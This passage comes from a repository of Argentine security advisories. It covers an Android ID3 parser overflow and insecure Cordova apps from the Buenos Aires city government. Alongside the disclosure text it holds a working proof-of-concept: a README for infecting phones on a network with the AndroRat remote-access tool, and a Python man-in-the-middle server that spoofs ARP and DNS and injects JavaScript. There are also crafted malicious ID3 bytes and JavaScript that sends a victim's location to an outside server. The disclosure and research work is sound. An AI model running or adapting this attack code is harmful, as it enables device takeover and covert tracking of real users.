another unsigned 32-bit integer is read from the input buffer and assigned to the 'paddingSize' variable. 119 | 120 | The conditional at line 255 attempts to verify that the sum of the size of the extended header plus the padding does not exceed the total length of the input buffer but since both are unsigned 32-bit integers several combinations of large values for them would make the sum overflow and wrap around to a small value that evaluates as false and allows execution to continue. 121 | 122 | Then, at line 262 the declared 'paddingSize' is subtracted from the 'mSize' member, which holds the total length of the input buffer. As a result, a large 'paddingSize' could end up increasing the declared length of the input buffer, leading to disclosure of internal heap structure information later on. 123 | 124 | For example, the following ID3 header will pass the check at line 255 since extendedHeaderSize + 4 + padding Size == 0, then mSize minus FF FF C0 80 actually increases the buffer. 125 | 126 | ``` 127 | "ID3" |version | flags | mSize | extendedHeaderSize | flags | paddingSize 128 | 49 44 33 | 03 | 00 40 | 00 00 7F 7F | 00 00 3F 7C | 0000 | FF FF C0 80 129 | 130 | 131 | ``` 132 | 133 | Note that using the previous structure, mSize is read with ParseSyncsafeInteger at line [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/id3/ID3.cpp#170](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/id3/ID3.cpp#170) and set as 0x3FFF at line 185. 134 | 135 | Then when the album art is extracted in getAlbumArt() checks for buffer size will pass and data from outside de mData buffer will be copied. 136 | 137 | ``` 138 | 779 ID3::getAlbumArt(size_t *length, String8 *mime) const { 139 | 780 *length = 0; 140 | 781 mime->setTo(""); 141 | 782 142 | 783 Iterator it( 143 | 784 *this, 144 | 785 (mVersion == ID3_V2_3 || mVersion == ID3_V2_4) ? "APIC" : 145 | "PIC"); 146 | 786 147 | 787 while (!it.done()) { 148 | 788 size_t size; 149 | 789 const uint8_t *data = it.getData(&size); 150 | 790 151 | 791 if (mVersion == ID3_V2_3 || mVersion == ID3_V2_4) { 152 | 792 uint8_t encoding = data[0]; 153 | 793 mime->setTo((const char *)&data[1]); 154 | 794 size_t mimeLen = strlen((const char *)&data[1]) + 1; 155 | 795 156 | 796 uint8_t picType = data[1 + mimeLen]; 157 | 797 #if 0 158 | 798 if (picType != 0x03) { 159 | 799 // Front Cover Art 160 | 800 it.next(); 161 | 801 continue; 162 | 802 } 163 | 803 #endif 164 | 804 165 | 805 size_t descLen = StringSize(&data[2 + mimeLen], encoding); 166 | 806 167 | 807 *length = size - 2 - mimeLen - descLen; 168 | 808 169 | 809 return &data[2 + mimeLen + descLen]; 170 | 171 | 172 | ``` 173 | 174 | When getAlbumArt is reached, the findFrame of ID3::Iterator sets the frame data. 175 | 176 | ``` 177 | 394 ID3::Iterator::Iterator(const ID3 &parent, const char *id) 178 | 395 : mParent(parent), 179 | 396 mID(NULL), 180 | 397 mOffset(mParent.mFirstFrameOffset), 181 | 398 mFrameData(NULL), 182 | 399 mFrameSize(0) { 183 | 400 if (id) { 184 | 401 mID = strdup(id); 185 | 402 } 186 | 403 187 | 404 findFrame(); 188 | 405 } 189 | 406 190 | 191 | 192 | ``` 193 | [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/id3/ID3.cpp#findFrame](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/id3/ID3.cpp#findFrame) allows frame to be read past the real buffer size due to the arbitrarily increased mSize: 194 | 195 | ``` 196 | void ID3::Iterator::findFrame() { 197 | 615 for (;;) { 198 | 616 mFrameData = NULL; 199 | 617 mFrameSize = 0; 200 | 618 201 | 619 if (mParent.mVersion == ID3_V2_2) { 202 | 620 if (mOffset + 6 > mParent.mSize) { 203 | 621 return; 204 | 622 } 205 | 623 206 | 624 if (!memcmp(&mParent.mData[mOffset], "\0\0\0", 3)) { 207 | 625 return; 208 | 626 } 209 | 627 210 | 628 mFrameSize = 211 | 629 (mParent.mData[mOffset + 3] << 16) 212 | 630 | (mParent.mData[mOffset + 4] << 8) 213 | 631 | mParent.mData[mOffset + 5]; 214 | 632 215 | 633 mFrameSize += 6; 216 | 634 217 | 635 if (mOffset + mFrameSize > mParent.mSize) { 218 | 636 ALOGV("partial frame at offset %zu (size = %zu, 219 | bytes-remaining = %zu)", 220 | 637 mOffset, mFrameSize, mParent.mSize - mOffset - 221 | (size_t)6); 222 | 638 return; 223 | 639 } 224 | 640 225 | 641 mFrameData = &mParent.mData[mOffset + 6]; 226 | 227 | 228 | ``` 229 | 230 | The following data frame sets an album art that would allow reading past the mData buffer when extracting the album art from an application. 231 | 232 | ``` 233 | APIC | baseSize |flags| mimetype 'image/jpeg' | description 'images.jpg' 234 | 41504943 | 00001327 |0000 | 03696D6167652F6A70656700 | 03696D616765732E6A706700 235 | 236 | 237 | ``` 238 | 239 | 240 | The image size will be baseSize and most of those bytes will be read from contiguous memory outside of mData real buffer. In the POC, to check that information is leaked, after the album structure, a padding of 0xFF values is done to complete to 0x3FFF size. The album art structure starts at 0x3f80+a, i.e extendedHeaderSize -4 + 0xa (size of header). The leaked information starts after the padding of 0xFF in the album art bytes read by the app. 241 | 242 | 243 | ## 8. Report Timeline 244 | 245 | * **2015-08-21:** 246 | Reported to Google with technical description and a proof of 247 | concept application. 248 | 249 | * **2015-08-25:** 250 | Google asks for source code of the APK 251 | 252 | * **2015-08-26:** 253 | Source code provided to Google 254 | 255 | * **2015-09-02:** 256 | Tagged for automatic testing by Google's clusterfuzz 257 | 258 | * **2015-10-02:** 259 | Programa STIC requests an status update 260 | 261 | * **2015-10-03:** 262 | bug assigned to Google engineering team, AndroidID-24623447 263 | 264 | * **2015-10-12:** 265 | Issue 188891 merged into this issue. 266 | 267 | * **2015-10-15:** 268 | Issue 189777 merged into this issue. 269 | 270 | * **2015-10-19:** 271 | Google fixed the problem in its internal repository and assures the fix be available in a 272 | future Nexus Security Bulletin. 273 | 274 | * **2015-11-27:** 275 | Programa STIC requests CVE ID assigned to the bug 276 | 277 | * **2015-11-30:** 278 | Google replies that assigning a CVE is later done when releasing the 279 | patch 280 | 281 | * **2015-12-07:** 282 | Fix released. Nexus Security Bulletin - December 2015 published 283 | 284 | * **2015-12-16:** 285 | Google notifies that CVE-2015-6631 was assigned to the bug 286 | 287 | * **2016-1-22:** 288 | The advisory was published. 289 | 290 | 291 | ## 9. References 292 | 293 | 294 | 295 | ## 10. About Fundación Dr. Manuel Sadosky 296 | 297 | The Dr. Manuel Sadosky Foundation is a mixed (public / private) institution whose goal is to promote stronger and closer interaction between industry and the scientific-technological system in all aspects related to Information and Communications Technology (ICT). The Foundation was formally created by a Presidential Decree in 2009. Its Chairman is the Minister of Science, Technology, and Productive Innovation of Argentina; and the Vice-chairmen are the chairmen of the country’s most important ICT chambers: The Software and Computer Services Chamber (CESSI) and the Argentine Computing and Telecommunications Chamber (CICOMRA). For more information visit: [http://www.fundacionsadosky.org.ar](http://www.fundacionsadosky.org.ar) 298 | 299 | ## 11. Copyright Notice 300 | 301 | The contents of this advisory are copyright (c) 2014 Fundación Sadosky and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 4.0 License: [http://creativecommons.org/licenses/by-nc-sa/4.0/](http://creativecommons.org/licenses/by-nc-sa/4.0/) -------------------------------------------------------------------------------- /BAComoLLego/POC/README.md: -------------------------------------------------------------------------------- 1 | # Prueba de Concepto de explotación de BAComoLLego 2 | 3 | El POC infecta con AndroRat a cualquier dispositivo en la red corriendo una versión de Android menor a 4.2 que tenga instalado BAComoLLego. 4 | Cuando una victima busca alguna dirección con la app, se realiza DNS spoofing para cambiar el servidor por uno falso corriendo localmente. Dado que la aplicación se comunica por HTTP, el servidor falso puede inyectar Javascript malicioso a la respuesta de las direcciones consultadas, explotando la vulnerabilidad de 'addJavascriptInterface' para correr cualquier comando y así rooteando el dispositivo e instalando el malware malicioso. 5 | 6 | ## Requerimientos ## 7 | 8 | ``` 9 | sudo apt-get install ettercap-graphical 10 | ``` 11 | 12 | ## Configuración ## 13 | 14 | Agregar a /etc/ettercap/etter.dns las lineas: 15 | 16 | ``` 17 | *.buenosaires.gob.ar A IP 18 | malware-test.no-ip.info A IP 19 | ``` 20 | Correr server AndroRat: 21 | 22 | ``` 23 | sudo java -jar AndroRat.jar 24 | ``` 25 | 26 | Finalmente servidor falso con: 27 | 28 | ``` 29 | sudo python FakeComoLLegoServer.py /IP_TARGET/ /IP_GATEWAY/ /IP_LOCAL_HOST/ 30 | ``` 31 | 32 | Se puede configurar IP_TARGET como // para atacar a todos los dispositivos en la red. 33 | 34 | -------------------------------------------------------------------------------- /BAComoLLego/POC/control/AndroRat.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programa-stic/security-advisories/4a032bf81dd45c614da477f5e88b2fb0982e7869/BAComoLLego/POC/control/AndroRat.jar -------------------------------------------------------------------------------- /BAComoLLego/POC/control/config.txt: -------------------------------------------------------------------------------- 1 | 81 -------------------------------------------------------------------------------- /BAComoLLego/POC/escalation/local_exploit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programa-stic/security-advisories/4a032bf81dd45c614da477f5e88b2fb0982e7869/BAComoLLego/POC/escalation/local_exploit -------------------------------------------------------------------------------- /BAComoLLego/POC/explotation/FakeComoLLegoServer.py: -------------------------------------------------------------------------------- 1 | from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer 2 | import os 3 | import uuid 4 | import threading 5 | import argparse 6 | import re 7 | import base64 8 | import urlparse 9 | import urllib2 10 | import SocketServer 11 | import SimpleHTTPServer 12 | import urllib 13 | import netifaces 14 | from subprocess import Popen, call, PIPE 15 | from shlex import split 16 | import fileinput 17 | import sys 18 | import time 19 | import os 20 | import traceback 21 | 22 | domain1 = 'epok.buenosaires.gob.ar' #IP is 200.16.89.103 23 | domain2 = 'servicios.usig.buenosaires.gov.ar' # Poisoned path: /OpenLayers/2.13-dev1-1/OpenLayers.js 24 | # IP is 200.16.89.28 25 | 26 | targetJSURL = 'http://servicios.usig.buenosaires.gov.ar/OpenLayers/2.13-dev1-1/OpenLayers.js' 27 | 28 | searchForceGetPoisonedJavascript = ''' 29 | var request = new XMLHttpRequest(); 30 | request.open("GET", "http://servicios.usig.buenosaires.gov.ar/OpenLayers/2.13-dev1-1/OpenLayers.js", true); 31 | request.setRequestHeader("Cache-Control","no-cache") 32 | request.onreadystatechange = function() { 33 | if (request.readyState == 4) { 34 | if (request.status == 200 || request.status == 0) { 35 | // -> request.responseText <- is a result 36 | } 37 | } 38 | } 39 | request.send(); 40 | ''' 41 | 42 | serverCacheOriginalJavascriptToPoison = '' 43 | 44 | addedJavascript = '''alert("Vulnerabilidad encontrada"); '''# 45 | 46 | def sendModifiedSearch(request): 47 | request.send_response(200) 48 | request.send_header("Content-type", "text/javascript") 49 | request.end_headers() 50 | with open('javascript.js', 'rb') as inyectedJavascript: 51 | request.wfile.write(inyectedJavascript.read()) 52 | #request.wfile.write(searchForceGetPoisonedJavascript) 53 | request.wfile.close() 54 | 55 | #sends the javascript that's executed every time the app begins, it's saved in the cache 56 | def sendPoisonedJS(request): 57 | request.send_response(200) 58 | request.send_header("Content-type", "text/javascript") 59 | request.end_headers() 60 | request.wfile.write(urllib2.urlopen(targetJSURL).read()+addedJavascript) 61 | request.wfile.close() 62 | 63 | def isASearchRequest(path): 64 | return '/buscar/' in path 65 | 66 | def isTargetJSRequest(path): 67 | return "/OpenLayers/2.13-dev1-1/OpenLayers.js" in path 68 | 69 | class BAComoLLegoHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): 70 | 71 | def do_GET(self): 72 | try: 73 | print self.headers['Host'] 74 | if isASearchRequest(self.path) and not os.path.exists('firstRun'): 75 | print " response" 76 | file = open('firstRun', 'w+') 77 | file.close() 78 | sendModifiedSearch(self) 79 | else: 80 | #not called since service.using not being spoofed via dns 81 | if isTargetJSRequest(self.path): 82 | print "JS response" 83 | sendPoisonedJS(self) 84 | else: 85 | print "OTHER response" 86 | #fix search not working 87 | if 'mapa.buenosaires.gob.ar' in self.headers['Host'] and \ 88 | '/2.0/consultar_recorridos' in self.path: 89 | print "Changing search response" 90 | site = "http://recorridos.usig.buenosaires.gob.ar/2.0/consultar_gba?"+self.path.split('?',1)[1] 91 | req = urllib2.Request(site, None, self.headers) 92 | else: 93 | #content = urllib2.urlopen("http://"+self.headers['Host']+self.path).read() 94 | req = urllib2.Request("http://"+self.headers['Host']+self.path, None, self.headers) 95 | response = urllib2.urlopen(req) 96 | content = response.read() 97 | self.send_response(200) 98 | for header in response.info().headers: 99 | key, value = header.strip().split(':',1) 100 | self.send_header(key,value) 101 | self.end_headers() 102 | #print response 103 | #print content 104 | self.wfile.write(content) 105 | except Exception, err: 106 | print traceback.print_exc() 107 | pass 108 | 109 | def replaceAll(file,searchExp,replaceExp): 110 | for line in fileinput.input(file, inplace=1): 111 | if searchExp in line: 112 | line = line.replace(searchExp,replaceExp) 113 | sys.stdout.write(line) 114 | 115 | def run(target,gateway,malware_server_address): 116 | #Configuration of /usr/share/ettercap/etter.dns etter.conf 117 | #On ubuntu 13.04 /etc/ettercap/etter.dns etter.conf 118 | input_stdin = Popen(split("echo pdns_spoof"), stdout=PIPE) 119 | ettercap = Popen(split('ettercap -i wlan0 -T -q -P autoadd -M ARP:remote /'''+target+'/ /'+gateway+'/'), stdin=input_stdin.stdout) 120 | #ip_forward after ettercap may have set it to zero 121 | #ADD DNS etter.conf TO SERVER IN VIRTUALBOX, VIRTUALBOX INTERNAL NETWORK 122 | vbox0_address = netifaces.ifaddresses('vboxnet0')[netifaces.AF_INET][0]['addr'] 123 | replaceAll('/etc/ettercap/etter.dns','*.buenosaires.gob.ar A IP','*.buenosaires.gob.ar A '+vbox0_address ) 124 | replaceAll('/etc/ettercap/etter.dns','malware-test.no-ip.info A IP','malware-test.no-ip.info A '+malware_server_address) 125 | #getOriginalJStoPoison() 126 | server_address = ('0.0.0.0', 80) 127 | SocketServer.ForkingTCPServer.allow_reuse_address = True 128 | httpd = SocketServer.ForkingTCPServer(server_address, BAComoLLegoHTTPRequestHandler) 129 | #wait for ettercap to initialize and unset ip_forward 130 | time.sleep(5) 131 | Popen(split("iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE"), stdout=PIPE).wait() 132 | Popen(split("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE"), stdout=PIPE).wait() 133 | Popen(split("sysctl -w net.ipv4.ip_forward=1"), stdout=PIPE).wait() 134 | #Popen(split("sysctl -p /etc/sysctl.conf"), stdout=PIPE).wait() 135 | try: 136 | print('http server is running...') 137 | httpd.serve_forever() 138 | except KeyboardInterrupt: 139 | print "Exiting" 140 | if os.path.exists('firstRun'): 141 | print "removing first run flag" 142 | os.remove('firstRun') 143 | replaceAll('/etc/ettercap/etter.dns','*.buenosaires.gob.ar A '+vbox0_address,'*.buenosaires.gob.ar A IP' ) 144 | replaceAll('/etc/ettercap/etter.dns','malware-test.no-ip.info A '+malware_server_address,'malware-test.no-ip.info A IP') 145 | Popen(split("sudo iptables -t nat -D POSTROUTING -o wlan0 -j MASQUERADE"), stdout=PIPE) 146 | Popen(split("sudo iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE"), stdout=PIPE) 147 | ettercap.terminate() 148 | 149 | 150 | if __name__ == '__main__': 151 | run(sys.argv[1],sys.argv[2],sys.argv[3]) 152 | -------------------------------------------------------------------------------- /BAComoLLego/POC/infectation/Androrat/Malware.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programa-stic/security-advisories/4a032bf81dd45c614da477f5e88b2fb0982e7869/BAComoLLego/POC/infectation/Androrat/Malware.apk -------------------------------------------------------------------------------- /BAComoLLego/README.md: -------------------------------------------------------------------------------- 1 | 2 | # Vulnerabilidades en BA ComoLlego para Android 3 | 4 | 5 | ## 1. Información del reporte 6 | 7 | **Título:** Vulnerabilidades en BA ComoLlego para Android 8 | 9 | **Reporte ID:** STIC-2015-0126 10 | 11 | **Reporte URL:** [http://www.fundacionsadosky.org.ar/publicaciones-2](http://www.fundacionsadosky.org.ar/publicaciones-2) 12 | 13 | **Fecha de publicación:** 2015-03-01 14 | 15 | **Fecha de última actualización:** 2017-01-12 16 | 17 | **Fabricantes contactados:** Gobierno de la Ciudad de Buenos Aires 18 | 19 | **Modo de publicación:** Coordinado 20 | 21 | 22 | 23 | ## 2. Información de vulnerabilidades 24 | 25 | **Clase:** [Inyección de código](http://cwe.mitre.org/data/definitions/94.html) 26 | 27 | **Impacto:** Perdida de datos 28 | 29 | **Remotamente explotable:** Si 30 | 31 | **Localmente explotable:** Si 32 | 33 | **Identificador CVE:** N/A 34 | 35 | 36 | 37 | ## 3. Descripción de vulnerabilidad 38 | 39 | La aplicación BA Como LLego [1] para Android permite consultar cómo viajar en colectivo, tren, subte, bicicleta, auto y a pie en la Ciudad de Buenos Aires, fue desarrollada por el Gobierno de la Ciudad de Buenos Aires y a enero de 2017 cuenta con entre 1 y 5 millones de instalaciones según datos del mercado de aplicaciones Google Play. 40 | 41 | La aplicación fue desarrollada usando Apache Cordova [2] (conocido también como PhoneGap), un framework de código abierto que permite construir aplicaciones para dispositivos móviles a partir de tecnología web standard. El framewok embebe en la aplicación móvil un motor de navegador web (conocido como WebView) adaptado a las características del dispositivo, para que el usuario pueda visualizar el contenido de una aplicación web. Este mecanismo permite a un desarrollador incorporar a dispositivos móviles, rápidamente y con poco esfuerzo de adaptación, aplicaciones web ya existentes o desarrolladas para otras plataformas. 42 | 43 | El framework utilizado por la aplicación utiliza de WebView customizados para que un usuario pueda visualizar su contenido web. El problema de estas vistas es que para aumentar la usabilidad de la aplicación, se rompe el sandbox de un browser habitual, permitiendo que un script dentro del contenido interactúe con componentes del sistema. El framework de Cordova permite correr código Java embebido a través de interfaces definidas por el mismo. En dispositivos con versiones anteriores a 4.2, Javascript malicioso inyectado puede llegar a correr código nativo arbitrariamente. 44 | 45 | Como la aplicación intenta obtener las direcciones de forma insegura, es posible inyectar Javascript malicioso por cualquier atacante en la red conectada o que se encuentre en la ruta al servidor. 46 | 47 | La configuración utilizada de PhoneGap es también insegura. Permite a la aplicación conectarse a cualquier dominio y no solo al dominio donde se encuentra el servidor, esto permite al atacante forzar a la aplicación a acceder a un servidor remoto posiblemente malicioso. 48 | 49 | 50 | ## 4. Paquetes vulnerables 51 | 52 | * Aplicación BA Como LLego para Android versiones 4.1.0 y 1.0 53 | 54 | ## 5. Información y soluciones del fabricante 55 | 56 | El fabricante actualizó la aplicación el 2 de noviembre de 2015 y la versión 4.0.1 soluciona los problemas mencionados. 57 | Sin embargo, la versión 4.1.0 publicada el 22 de diciembre de 2016 reintrodujo las vulnerabilidades 58 | 59 | 60 | ## 6. Créditos 61 | 62 | Las vulnerabilidades fueron descubiertas e investigadas por Joaquin Rinaudo. La publicación de este reporte fue coordinada por Programa Seguridad en TIC. 63 | 64 | ## 7. Descripción técnica 65 | 66 | BA ComoLLego intenta obtener el recorrido a partir de un pedido HTTP a _http://epok.buenosaires.gob.ar/buscar/_. Este pedido devuelve un Javascript (originalmente un Callback) que se corre en el contexto de la ventana principal de la aplicación. Dado a que el pedido se realiza mediante transporte inseguro, atacantes podrían realizar Man-in-the-Middle e inyectar su propio Javascript. Inyectar código Javascript permitiría ejecutar código arbitrariamente en dispositivos con versiones corriendo anteriores a la 4.2 utilizando Java Reflection para acceder a otras clases que no sean la expuesta a través de la interface con _addJavascriptInterface_. 67 | 68 | Además, dado que la aplicación obtiene algunos Javascript remotamente a partir de HTTP cuando se inicia la primera vez, se puede envenenar la caché de la aplicación para estos pedidos si se está realizando una taque de Man-in-the-Middle para mantener un acceso persistente. Por ejemplo, si a una búsqueda se le inyecta el siguiente Javascript se puede lograr que se vuelva a cargar un recurso y evitar que utilice la caché. Código inyectado en ese pedido de la librería se correrá cada vez que se abra la aplicación, logrando persistir el acceso. 69 | 70 | ``` 71 | var request = new XMLHttpRequest(); 72 | request.open("GET", "http://servicios.usig.buenosaires.gov.ar/OpenLayers/2.13-dev1-1/OpenLayers.js", true); 73 | request.setRequestHeader("Cache-Control","no-cache") 74 | request.onreadystatechange = function() { 75 | if (request.readyState == 4) { 76 | if (request.status == 200 || request.status == 0) { 77 | // -> request.responseText <- is a result 78 | } 79 | } 80 | } 81 | request.send(); 82 | 83 | ``` 84 | 85 | Así, inyectando el siguiente código en el pedido a la librería, se podría acceder a la ubicación del cliente cada vez que intente utilizar la aplicación. 86 | 87 | ``` 88 | function onSuccess(position) { 89 | 90 | var request = new XMLHttpRequest(); 91 | request.open("GET", "http://www.fundacionsadosky.org.ar/?lat="+position.coords.latitude+"&long="+position.coords.longitude, true); 92 | request.send(); 93 | 94 | } 95 | 96 | // onError Callback receives a PositionError object 97 | // 98 | function onError(error) { 99 | console.log('code: ' + error.code + '\n' + 100 | 'message: ' + error.message + '\n'); 101 | } 102 | 103 | var watchID = navigator.geolocation.getCurrentPosition(onSuccess, onError, { timeout: 300000,enableHighAccuracy: true,maximumAge: 300000 }); 104 | 105 | 106 | ``` 107 | 108 | BA ComoLLego versión 1 utiliza la versión de PhoneGap 2.3.0 que es vulnerable a CVE-2014-3500 [3] permitiendole a otras aplicaciones cambiar la página de inicio de la aplicación por una con contenido malicioso a través de un Intent que lleve un parámetro extra con referencia al contenido bajo la clave _url_. 109 | 110 | La correcta configuración del framework podría llegar a bloquear dicho ataque cuando se restringen los dominios a los cuales la aplicación se puede conectar a través del archivo de configuración _res/xml/config.xml_. Sin embargo, BA ComoLlego permite a la aplicación acceder a cualquier dominio dado a que para filtrar los accesos utiliza un comodín. 111 | 112 | Como prueba de concepto que la aplicación es vulnerable a CVE-2014-3500 se puede enviar el siguiente comando a través de adb (Android Debug Bridge) que simularía ser una aplicación que envía un Intent malicioso que inyecta Javascript utilizando el módulo _Geolocation_[4] logrando que una aplicación sin permiso pueda subir remotamente la ubicación del dispositivo a un servidor remoto. 113 | 114 | _adb shell am start -n ar.gob.buenosaires.comollego/.comollego --es url "https://googledrive.com/host/0B0f57xoYl_BFOG5FMEhpc3AzckU/upload_geo.html"_ 115 | 116 | ## 8. Cronología del reporte 117 | 118 | * **2014-02-11:** 119 | Se envió mail solicitando contacto para reportar problemas de seguridad en aplicaciones móviles 120 | 121 | * **2014-02-18:** 122 | Se recibió respuesta del GCBA requiriendo información para reneviarsela a quien corresponda 123 | 124 | * **2014-02-18:** 125 | Se envió un descripción técnica del problema. 126 | 127 | * **2015-02-03:** 128 | Se envió mail a Seguridad Informática del gobierno de la Ciudad de Buenos Aires, notificando de la próxima publicación del problema y solicitando que se notifique al Director General de Gobierno Electrónico y/o al Director General de Innovación y Gobierno Abierto. 129 | 130 | * **2015-02-04:** 131 | Se recibió respuesta de Seguridad Informática del GCBA requiriendo reporte técnico. 132 | 133 | * **2015-02-06:** 134 | Se envió un versión preliminar de este boletín de seguridad. 135 | 136 | * **2016-12-23:** 137 | El Gobierno de la Ciudad de Buenos Aires publica la versión 4.1.0 de la aplicación en Google Play 138 | 139 | * **2017-01-11:** 140 | Se verifica que la vulnerabilidad se re-introdujo en la versión 4.1.0. 141 | 142 | 143 | ## 9. Referencias 144 | 145 | [1] [https://play.google.com/store/apps/details?id=ar.gob.buenosaires.comollego](https://play.google.com/store/apps/details?id=ar.gob.buenosaires.comollego) 146 | 147 | [2] [http://cordova.apache.org](http://cordova.apache.org) 148 | 149 | [3] [https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3500](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3500) 150 | 151 | [4] [http://docs.phonegap.com/en/edge/cordova_geolocation_geolocation.md.html](http://docs.phonegap.com/en/edge/cordova_geolocation_geolocation.md.html) 152 | 153 | ## 10. Acerca Fundación Dr. Manuel Sadosky 154 | 155 | La Fundación Dr. Manuel Sadosky es una institución público privada cuyo objetivo es favorecer la articulación entre el sistema científico – tecnológico y la estructura productiva en todo lo referido a la temática de las Tecnologías de la Información y la Comunicación (TIC). Creada a través del Decreto Nro. 678/09 del Poder Ejecutivo Nacional, la Fundación es presidida por el ministro de Ciencia, Tecnología e Innovación Productiva. Sus vicepresidentes son los presidentes de las cámaras más importantes del sector TIC: CESSI (Cámara de Empresas de Software y Servicios Informáticos) y CICOMRA (Cámara de Informática y Comunicaciones de la República Argentina). Para más información visitar: [http://www.fundacionsadosky.org.ar](http://www.fundacionsadosky.org.ar) 156 | 157 | ## 11. Derechos de autor 158 | 159 | El contenido de este reporte tiene copyright (c) 2014-2017 Fundación Sadosky y se publica bajo la licencia Creative Commons Attribution Non-Commercial Share-Alike 4.0: [http://creativecommons.org/licenses/by-nc-sa/4.0/](http://creativecommons.org/licenses/by-nc-sa/4.0/) -------------------------------------------------------------------------------- /BAWifi/README.md: -------------------------------------------------------------------------------- 1 | 2 | # Vulnerabilidades en BA Wifi para Android 3 | 4 | 5 | ## 1. Información del reporte 6 | 7 | **Título:** Vulnerabilidades en BA Wifi para Android 8 | 9 | **Reporte ID:** STIC-2015-0115 10 | 11 | **Reporte URL:** [http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic](http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic) 12 | 13 | **Fecha de publicación:** 2015-03-01 14 | 15 | **Fecha de última actualización:** 2015-11-26 16 | 17 | **Fabricantes contactados:** Gobierno de la Ciudad de Buenos Aires 18 | 19 | **Modo de publicación:** Coordinado 20 | 21 | 22 | 23 | ## 2. Información de vulnerabilidades 24 | 25 | **Clase:** Inyección de código [[http://cwe.mitre.org/data/definitions/94.html](http://cwe.mitre.org/data/definitions/94.html)] 26 | 27 | **Impacto:** Perdida de datos 28 | 29 | **Remotamente explotable:** Si 30 | 31 | **Localmente explotable:** Si 32 | 33 | **Identificador CVE:** N/A 34 | 35 | 36 | 37 | ## 3. Descripción de vulnerabilidad 38 | 39 | La aplicación para Android BA Wifi [1] del Gobierno de La Ciudad de Buenos Aires, permite localizar las conexiones Wifi libres del Gobierno de la Ciudad por comunas, por puntos de interés o por ubicación. Según estadística del mercado de aplicaciones Google Play, a febrero de 2015 fue instalada entre 10.000 y 50.000 veces. 40 | 41 | La aplicación fue desarrollada usando Apache Cordova[2] (conocido también como PhoneGap), un framework de código abierto que permite construir aplicaciones para dispositivos móviles a partir de tecnología web standard. El framewok embebe en la aplicación móvil un motor de navegador web (conocido como WebView) adaptado a la características del dispositivo, para que el usuario pueda visualizar el contenido de una aplicación web. Este mecanismo permite a un desarrollador incorporar a dispositivos móviles, rápidamente y con poco esfuerzo de adaptación, aplicaciones web ya existentes o desarrolladas para otras plataformas. 42 | 43 | El framework utilizado por la aplicación utiliza de WebView customizados para que un usuario pueda visualizar su contenido web. El problema de estas vistas es que para aumentar la usabilidad de la aplicación, se rompe el sandbox de un browser habitual, permitiendo que un script dentro del contenido interactúe con componentes del sistema. El framework de Cordova permite correr código Java embebido a través de interfaces definidas por el mismo. Debido al _target-SDK_ de BA WiFi, en dispositivos con versiones anteriores a 4.4.4, Javascript malicioso inyectado puede llegar a correr código nativo arbitrariamente. Debido a que la aplicación posee más permisos de los necesarios (grabar audio y video, capturar fotos, recibir SMS, leer y escribir contactos y en la memoria externa), Javascript malicioso podría a llegar a realizar cualquiera utilizar estas funcionalidades, sin importar la versión de Android del dispositivo. 44 | 45 | Como la aplicación intenta obtener las direcciones desde la ubicación actual del dispositivo a las de las redes abiertas de forma insegura, es posible inyectar Javascript malicioso por cualquier atacante en la red conectada o que se encuentre en la ruta al servidor. 46 | 47 | La configuración utilizada de Apache Cordova/PhoneGap es también insegura. Permite a la aplicación conectarse a cualquier dominio y no solo al dominio donde se encuentra el servidor, esto permite al atacante forzar a la aplicación a acceder a un servidor remoto posiblemente malicioso. La segunda razón, es que expone todos los plugin que permiten acceder a un recurso del celular desde Javascript. La aplicación debería sólo aquellos plugins que son necesitados para su correcto funcionamiento, en este caso geolocalización y acceso a internet. 48 | 49 | 50 | ## 4. Paquetes vulnerables 51 | 52 | * Dispositivos corriendo la versión 1.1 o versiones anteriores. 53 | 54 | ## 5. Información y soluciones del fabricante 55 | 56 | El fabricante actualizó la aplicación el 10 de abril de 2015 y la versión 2.0 soluciona los problemas mencionados. 57 | 58 | 59 | ## 6. Créditos 60 | 61 | Las vulnerabilidades fueron descubiertas e investigadas por Joaquín Rinaudo. La publicación de este reporte fue coordinada por Programa Seguridad en TIC. 62 | 63 | ## 7. Descripción técnica 64 | 65 | BA Wifi utiliza la versión de PhoneGap 2.3.0 que es vulnerable a CVE-2014-3500 [3] permitiendole a otras aplicaciones cambiar la página de inicio de la aplicación por una con contenido malicioso a través de un Intent que lleve un parámetro extra con referencia al contenido bajo la clave _url_. 66 | 67 | La correcta configuración del framework podría llegar a bloquear dicho ataque cuando se restringen los dominios a los cuales la aplicación se puede conectar a través del archivo de configuración _res/xml/config.xml_. Sin embargo, BA Wifi permite a la aplicación acceder a cualquier dominio dado a que para filtrar los accesos utiliza un comodín. 68 | 69 | Dentro de este archivo de configuración se encuentran también listados los plugins del framework de PhoneGap utilizados. Muchos de estos plugins incluidos en BA Wifi no son necesarios para su funcionamiento. Por ejemplo, _Media_ permite reproducir y grabar audio desde Javascript. _ContactManager_ permite el manejo de los contactos del dispositivo y _Capture_ permite capturar fotos y videos. Ninguno de estos módulos son utilizado por BA Wifi pero permitirían que atacantes que lleguen a comprometer la aplicación puedan utilizarlos. Además de incluir estos plugins, la aplicación necesita pedir los permisos necesarios de Android para poder utilizar estos recursos. Sucede que BA Wifi es una aplicación sobreprivilegiada, es decir, requiere más permisos de los que utiliza. Para poder ser instalada, un usuario tiene que permitir el acceso a la aplicación a sus contactos, a la cámara, permitir grabar audio y video, recibir SMS, leer y escribir en la memoria externa además de los permisos que si podrían son utilizados como acceso a su ubicación e internet. 70 | 71 | Como prueba de concepto que la aplicación es vulnerable a CVE-2014-3500 se puede enviar el siguiente comando a través de adb (Android Debug Bridge) que simularía ser una aplicación que envía un Intent malicioso que inyecta 